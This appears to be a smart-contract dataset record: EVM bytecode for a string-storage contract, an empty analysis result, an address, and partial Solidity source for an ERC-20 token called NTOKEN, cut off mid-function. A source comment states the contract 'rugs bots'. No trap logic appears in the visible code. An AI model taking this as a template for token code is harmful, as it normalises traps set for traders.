0x606060405260043610610321576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680626018011461032657806301114d741461038357806303071302146104115780630759a3511461049f5780631447431e1461052d57806314704d911461058a57806318f76a2c14610618578063193a8a83146106a65780631afcc95b146107345780631c0d1274146107c25780631c9f289d1461081f5780631fd7f4311461087c57806327731e77146108d95780632ebfeaac146109365780632eea1efe1461099357806332f7b41b14610a21578063332e25be14610a7e57806336cc1ebb14610b0c578063396724c314610b69578063409ed1db14610bf757806340c2dc4a14610c545780634170a41914610ce25780634649bfee14610d3f5780634f0b584e14610d9c5780635169ed0e14610e2a57806352108d4c14610eb8578063521c82be14610f155780635925cfe314610fa35780635944b7d91461103157806360de94d01461108e5780636497d32e146110eb57806364d34045146111485780636a1bf209146111a55780636bacfe43146112025780636d338bd0146112905780636fde90bc146112ed578063718f81c21461134a57806374b58ae7146113d85780637930acd6146114355780637f15a6a3146114c3578063834c6c84146115205780638b0486451461157d57806397a7293d146115da57806397fe9129146116685780639acfb1a8146116c55780639b4a7fe9146117535780639de91ccd146117b05780639e8451731461183e578063a415b8eb146118cc578063a62784e21461195a578063a98af238146119b7578063ad48318814611a14578063b54beedc14611a71578063b975d9c714611aff578063bf1bb05514611b5c578063c0d470a614611bea578063c7f24b1114611c47578063cac98d6d14611cd5578063cb9b3a3c14611d63578063d340dd8a14611df1578063d5d5913c14611e7f578063e248b43514611f0d578063e8ae7dd214611f6a578063e8ef51db14611ff8578063ed2648d314612086578063ed9c6d53146120e3578063f1280c2314612171578063fcd830c4146121ff575b600080fd5b341561033157600080fd5b610381600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061225c565b005b341561038e57600080fd5b610396612276565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d65780820151818401526020810190506103bb565b50505050905090810190601f1680156104035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561041c57600080fd5b61042461231e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610464578082015181840152602081019050610449565b50505050905090810190601f1680156104915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104aa57600080fd5b6104b26123c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f25780820151818401526020810190506104d7565b50505050905090810190601f16801561051f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561053857600080fd5b610588600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061246e565b005b341561059557600080fd5b61059d612488565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105dd5780820151818401526020810190506105c2565b50505050905090810190601f16801561060a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561062357600080fd5b61062b612530565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066b578082015181840152602081019050610650565b50505050905090810190601f1680156106985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106b157600080fd5b6106b96125d8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f95780820151818401526020810190506106de565b50505050905090810190601f1680156107265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561073f57600080fd5b610747612680565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561078757808201518184015260208101905061076c565b50505050905090810190601f1680156107b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107cd57600080fd5b61081d600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612728565b005b341561082a57600080fd5b61087a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612742565b005b341561088757600080fd5b6108d7600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061275c565b005b34156108e457600080fd5b610934600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612776565b005b341561094157600080fd5b610991600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612790565b005b341561099e57600080fd5b6109a66127aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109e65780820151818401526020810190506109cb565b50505050905090810190601f168015610a135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a2c57600080fd5b610a7c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612852565b005b3415610a8957600080fd5b610a9161286c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ad1578082015181840152602081019050610ab6565b50505050905090810190601f168015610afe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610b1757600080fd5b610b67600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612914565b005b3415610b7457600080fd5b610b7c61292e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bbc578082015181840152602081019050610ba1565b50505050905090810190601f168015610be95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610c0257600080fd5b610c52600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129d6565b005b3415610c5f57600080fd5b610c676129f0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ca7578082015181840152602081019050610c8c565b50505050905090810190601f168015610cd45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610ced57600080fd5b610d3d600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612a98565b005b3415610d4a57600080fd5b610d9a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ab2565b005b3415610da757600080fd5b610daf612acc565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610def578082015181840152602081019050610dd4565b50505050905090810190601f168015610e1c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610e3557600080fd5b610e3d612b74565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e7d578082015181840152602081019050610e62565b50505050905090810190601f168015610eaa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610ec357600080fd5b610f13600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c1c565b005b3415610f2057600080fd5b610f28612c36565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f68578082015181840152602081019050610f4d565b50505050905090810190601f168015610f955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610fae57600080fd5b610fb6612cde565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ff6578082015181840152602081019050610fdb565b50505050905090810190601f1680156110235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561103c57600080fd5b61108c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612d86565b005b341561109957600080fd5b6110e9600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612da0565b005b34156110f657600080fd5b611146600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612dba565b005b341561115357600080fd5b6111a3600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612dd4565b005b34156111b057600080fd5b611200600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612dee565b005b341561120d57600080fd5b611215612e08565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561125557808201518184015260208101905061123a565b50505050905090810190601f1680156112825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561129b57600080fd5b6112eb600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612eb0565b005b34156112f857600080fd5b611348600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612eca565b005b341561135557600080fd5b61135d612ee4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561139d578082015181840152602081019050611382565b50505050905090810190601f1680156113ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156113e357600080fd5b611433600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612f8c565b005b341561144057600080fd5b611448612fa6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561148857808201518184015260208101905061146d565b50505050905090810190601f1680156114b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156114ce57600080fd5b61151e600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061304e565b005b341561152b57600080fd5b61157b600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613068565b005b341561158857600080fd5b6115d8600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613082565b005b34156115e557600080fd5b6115ed6130f7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561162d578082015181840152602081019050611612565b50505050905090810190601f16801561165a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561167357600080fd5b6116c3600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061319f565b005b34156116d057600080fd5b6116d86131b9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156117185780820151818401526020810190506116fd565b50505050905090810190601f1680156117455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561175e57600080fd5b6117ae600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613261565b005b34156117bb57600080fd5b6117c361327b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156118035780820151818401526020810190506117e8565b50505050905090810190601f1680156118305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561184957600080fd5b611851613323565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611891578082015181840152602081019050611876565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156118d757600080fd5b6118df6133cb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561191f578082015181840152602081019050611904565b50505050905090810190601f16801561194c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561196557600080fd5b6119b5600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613473565b005b34156119c257600080fd5b611a12600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061348d565b005b3415611a1f57600080fd5b611a6f600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506134a7565b005b3415611a7c57600080fd5b611a846134c1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611ac4578082015181840152602081019050611aa9565b50505050905090810190601f168015611af15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611b0a57600080fd5b611b5a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613569565b005b3415611b6757600080fd5b611b6f613583565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611baf578082015181840152602081019050611b94565b50505050905090810190601f168015611bdc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611bf557600080fd5b611c45600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061362b565b005b3415611c5257600080fd5b611c5a613645565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611c9a578082015181840152602081019050611c7f565b50505050905090810190601f168015611cc75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611ce057600080fd5b611ce86136ed565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611d28578082015181840152602081019050611d0d565b50505050905090810190601f168015611d555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611d6e57600080fd5b611d76613795565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611db6578082015181840152602081019050611d9b565b50505050905090810190601f168015611de35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611dfc57600080fd5b611e0461383d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611e44578082015181840152602081019050611e29565b50505050905090810190601f168015611e715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611e8a57600080fd5b611e926138e5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611ed2578082015181840152602081019050611eb7565b50505050905090810190601f168015611eff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611f1857600080fd5b611f68600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061398d565b005b3415611f7557600080fd5b611f7d6139a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611fbd578082015181840152602081019050611fa2565b50505050905090810190601f168015611fea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561200357600080fd5b61200b613a4f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561204b578082015181840152602081019050612030565b50505050905090810190601f1680156120785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561209157600080fd5b6120e1600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613af7565b005b34156120ee57600080fd5b6120f6613b11565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561213657808201518184015260208101905061211b565b50505050905090810190601f1680156121635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561217c57600080fd5b612184613bb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156121c45780820151818401526020810190506121a9565b50505050905090810190601f1680156121f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561220a57600080fd5b61225a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613c61565b005b8060049080519060200190612272929190613c7b565b5050565b61227e613cfb565b60218054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123145780601f106122e957610100808354040283529160200191612314565b820191906000526020600020905b8154815290600101906020018083116122f757829003601f168201915b5050505050905090565b612326613cfb565b60178054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123bc5780601f10612391576101008083540402835291602001916123bc565b820191906000526020600020905b81548152906001019060200180831161239f57829003601f168201915b5050505050905090565b6123ce613cfb565b601e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124645780601f1061243957610100808354040283529160200191612464565b820191906000526020600020905b81548152906001019060200180831161244757829003601f168201915b5050505050905090565b8060189080519060200190612484929190613c7b565b5050565b612490613cfb565b601a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125265780601f106124fb57610100808354040283529160200191612526565b820191906000526020600020905b81548152906001019060200180831161250957829003601f168201915b5050505050905090565b612538613cfb565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125ce5780601f106125a3576101008083540402835291602001916125ce565b820191906000526020600020905b8154815290600101906020018083116125b157829003601f168201915b5050505050905090565b6125e0613cfb565b601c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126765780601f1061264b57610100808354040283529160200191612676565b820191906000526020600020905b81548152906001019060200180831161265957829003601f168201915b5050505050905090565b612688613cfb565b60158054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561271e5780601f106126f35761010080835404028352916020019161271e565b820191906000526020600020905b81548152906001019060200180831161270157829003601f168201915b5050505050905090565b806015908051906020019061273e929190613c7b565b5050565b8060069080519060200190612758929190613c7b565b5050565b8060079080519060200190612772929190613c7b565b5050565b806009908051906020019061278c929190613c7b565b5050565b80602190805190602001906127a6929190613c7b565b5050565b6127b2613cfb565b60148054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128485780601f1061281d57610100808354040283529160200191612848565b820191906000526020600020905b81548152906001019060200180831161282b57829003601f168201915b5050505050905090565b80601d9080519060200190612868929190613c7b565b5050565b612874613cfb565b60138054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561290a5780601f106128df5761010080835404028352916020019161290a565b820191906000526020600020905b8154815290600101906020018083116128ed57829003601f168201915b5050505050905090565b80600d908051906020019061292a929190613c7b565b5050565b612936613cfb565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129cc5780601f106129a1576101008083540402835291602001916129cc565b820191906000526020600020905b8154815290600101906020018083116129af57829003601f168201915b5050505050905090565b80600590805190602001906129ec929190613c7b565b5050565b6129f8613cfb565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a8e5780601f10612a6357610100808354040283529160200191612a8e565b820191906000526020600020905b815481529060010190602001808311612a7157829003601f168201915b5050505050905090565b8060229080519060200190612aae929190613c7b565b5050565b8060199080519060200190612ac8929190613c7b565b5050565b612ad4613cfb565b60128054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b6a5780601f10612b3f57610100808354040283529160200191612b6a565b820191906000526020600020905b815481529060010190602001808311612b4d57829003601f168201915b5050505050905090565b612b7c613cfb565b601d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612c125780601f10612be757610100808354040283529160200191612c12565b820191906000526020600020905b815481529060010190602001808311612bf557829003601f168201915b5050505050905090565b80601e9080519060200190612c32929190613c7b565b5050565b612c3e613cfb565b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612cd45780601f10612ca957610100808354040283529160200191612cd4565b820191906000526020600020905b815481529060010190602001808311612cb757829003601f168201915b5050505050905090565b612ce6613cfb565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612d7c5780601f10612d5157610100808354040283529160200191612d7c565b820191906000526020600020905b815481529060010190602001808311612d5f57829003601f168201915b5050505050905090565b8060019080519060200190612d9c929190613c7b565b5050565b80600b9080519060200190612db6929190613c7b565b5050565b8060129080519060200190612dd0929190613c7b565b5050565b8060149080519060200190612dea929190613c7b565b5050565b8060089080519060200190612e04929190613c7b565b5050565b612e10613cfb565b60108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612ea65780601f10612e7b57610100808354040283529160200191612ea6565b820191906000526020600020905b815481529060010190602001808311612e8957829003601f168201915b5050505050905090565b8060169080519060200190612ec6929190613c7b565b5050565b8060029080519060200190612ee0929190613c7b565b5050565b612eec613cfb565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f825780601f10612f5757610100808354040283529160200191612f82565b820191906000526020600020905b815481529060010190602001808311612f6557829003601f168201915b5050505050905090565b80600a9080519060200190612fa2929190613c7b565b5050565b612fae613cfb565b601b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130445780601f1061301957610100808354040283529160200191613044565b820191906000526020600020905b81548152906001019060200180831161302757829003601f168201915b5050505050905090565b80601f9080519060200190613064929190613c7b565b5050565b806013908051906020019061307e929190613c7b565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156130dd57600080fd5b80601a90805190602001906130f3929190613c7b565b5050565b6130ff613cfb565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156131955780601f1061316a57610100808354040283529160200191613195565b820191906000526020600020905b81548152906001019060200180831161317857829003601f168201915b5050505050905090565b80601b90805190602001906131b5929190613c7b565b5050565b6131c1613cfb565b60198054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156132575780601f1061322c57610100808354040283529160200191613257565b820191906000526020600020905b81548152906001019060200180831161323a57829003601f168201915b5050505050905090565b8060119080519060200190613277929190613c7b565b5050565b613283613cfb565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133195780601f106132ee57610100808354040283529160200191613319565b820191906000526020600020905b8154815290600101906020018083116132fc57829003601f168201915b5050505050905090565b61332b613cfb565b60228054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133c15780601f10613396576101008083540402835291602001916133c1565b820191906000526020600020905b8154815290600101906020018083116133a457829003601f168201915b5050505050905090565b6133d3613cfb565b601f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134695780601f1061343e57610100808354040283529160200191613469565b820191906000526020600020905b81548152906001019060200180831161344c57829003601f168201915b5050505050905090565b8060039080519060200190613489929190613c7b565b5050565b80601090805190602001906134a3929190613c7b565b5050565b80600c90805190602001906134bd929190613c7b565b5050565b6134c9613cfb565b600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561355f5780601f106135345761010080835404028352916020019161355f565b820191906000526020600020905b81548152906001019060200180831161354257829003601f168201915b5050505050905090565b806020908051906020019061357f929190613c7b565b5050565b61358b613cfb565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136215780601f106135f657610100808354040283529160200191613621565b820191906000526020600020905b81548152906001019060200180831161360457829003601f168201915b5050505050905090565b8060179080519060200190613641929190613c7b565b5050565b61364d613cfb565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136e35780601f106136b8576101008083540402835291602001916136e3565b820191906000526020600020905b8154815290600101906020018083116136c657829003601f168201915b5050505050905090565b6136f5613cfb565b60188054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561378b5780601f106137605761010080835404028352916020019161378b565b820191906000526020600020905b81548152906001019060200180831161376e57829003601f168201915b5050505050905090565b61379d613cfb565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138335780601f1061380857610100808354040283529160200191613833565b820191906000526020600020905b81548152906001019060200180831161381657829003601f168201915b5050505050905090565b613845613cfb565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138db5780601f106138b0576101008083540402835291602001916138db565b820191906000526020600020905b8154815290600101906020018083116138be57829003601f168201915b5050505050905090565b6138ed613cfb565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139835780601f1061395857610100808354040283529160200191613983565b820191906000526020600020905b81548152906001019060200180831161396657829003601f168201915b5050505050905090565b80600f90805190602001906139a3929190613c7b565b5050565b6139af613cfb565b60168054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a455780601f10613a1a57610100808354040283529160200191613a45565b820191906000526020600020905b815481529060010190602001808311613a2857829003601f168201915b5050505050905090565b613a57613cfb565b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613aed5780601f10613ac257610100808354040283529160200191613aed565b820191906000526020600020905b815481529060010190602001808311613ad057829003601f168201915b5050505050905090565b80600e9080519060200190613b0d929190613c7b565b5050565b613b19613cfb565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613baf5780601f10613b8457610100808354040283529160200191613baf565b820191906000526020600020905b815481529060010190602001808311613b9257829003601f168201915b5050505050905090565b613bc1613cfb565b60208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613c575780601f10613c2c57610100808354040283529160200191613c57565b820191906000526020600020905b815481529060010190602001808311613c3a57829003601f168201915b5050505050905090565b80601c9080519060200190613c77929190613c7b565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613cbc57805160ff1916838001178555613cea565b82800160010185558215613cea579182015b82811115613ce9578251825591602001919060010190613cce565b5b509050613cf79190613d0f565b5090565b602060405190810160405280600081525090565b613d3191905b80821115613d2d576000816000905550600101613d15565b5090565b905600a165627a7a7230582030b340db86a7e3b966f79fdfb0f501bf1fff3caed5a77ee3c4733718109e51550029
{"success": true, "error": null, "results": {}}
6,997
0x120b6946e30a65ba7bbd974d15b56c8b24280e32
/** *Submitted for verification at Etherscan.io on 2021-04-30 */ // SPDX-License-Identifier: MIT // Contract rugs bots - dont buy pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract NTOKEN is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 1000000e18; string private _name = 'NTOKEN'; string private _symbol = 'NTOKEN'; uint8 private _decimals = 18; uint256 public maxTxAmount = 10000e9; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public 